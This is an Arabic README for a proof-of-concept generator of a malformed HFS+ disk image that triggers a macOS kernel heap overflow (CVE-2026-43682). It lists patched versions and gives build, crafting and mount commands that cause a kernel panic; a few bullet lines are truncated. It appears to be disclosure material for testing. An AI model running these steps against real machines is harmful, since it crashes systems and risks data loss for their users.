
مولّد صور أقراص إثبات مفهوم يقوم بإنشاء مفتاح شجرة B لسمات HFS+ مشوّه لتفعيل تجاوز سعة كومة النواة CVE-2026-43682 على macOS.
من المتوقع أن يؤدي إثبات المفهوم هذا إلى kernel-panic وإعادة تشغيل جهاز Mac متأثر. استخدمه فقط على نظام اختبار قابل للتخلص منه. استُخدم في التقاط الأدلة جهاز Apple silicon يعمل بنظام macOS Tahoe 26.3 (25D125). أصلحت Apple الثغرة CVE-2026-43682 في Tahoe 26.6 وSequoia 15.7.8 وSonoma 14.8.8.
إثبات المفهوم هو مُولِّد صورة قرص، وليس استغلالًا لتصعيد الصلاحيات. وهو:
_COMM_PAGE_ASB_TARGET_KERN_VALUE الخاصة بالإقلاع الحالي على Apple silicon؛النسخة المشوّهة حتمية. أما ما إذا كان Probabilistic GZAlloc يضع حارسًا حيث يؤدي الكتابة فوق البيانات إلى خطأ فوري فليس حتميًا.
hdiutil وxattr في macOS.لا حاجة إلى أي حزم Python من طرف ثالث.
المساعد اختياري، لكنه يجعل القيمة الخاصة بكل إقلاع صريحة قبل توليد الصورة:
cd poc
clang -O2 -Wall -Wextra check_commpage.c -o check_commpage
./check_commpage
أنشئ الصورة الأساسية وعدّل شجرة السمات الخاصة بها:
./create_base_dmg.sh base_with_attrs.dmg
python3 craft_attr_poc_asb.py \
base_with_attrs.dmg \
cve-2026-43682.dmg \
2884
يطبع سكربت Python قيمة kernel Target Flag لنفس الإقلاع والنمط المكتوب في الصورة.
قد يكون ربط الصورة أو فهرستها لاحقًا كافيًا للوصول إلى مسار السمات القابل للاستغلال. أما التشغيل الصريح المستخدم أثناء الاختبار فكان:
hdiutil attach -readonly -nobrowse cve-2026-43682.dmg
ls -l@ /Volumes/AttrPOC/
على نظام قابل للاستغلال، النتيجة المتوقعة هي kernel data abort أثناء نسخ مفتاح B-tree المفرط الحجم. على نظام مُصلَّح، يجب رفض المفتاح المشوّه دون إفساد ذاكرة kernel.
بعد تشغيل لا يؤدي إلى انهيار، افصل وحدة التخزين التجريبية باستخدام:
hdiutil detach /Volumes/AttrPOC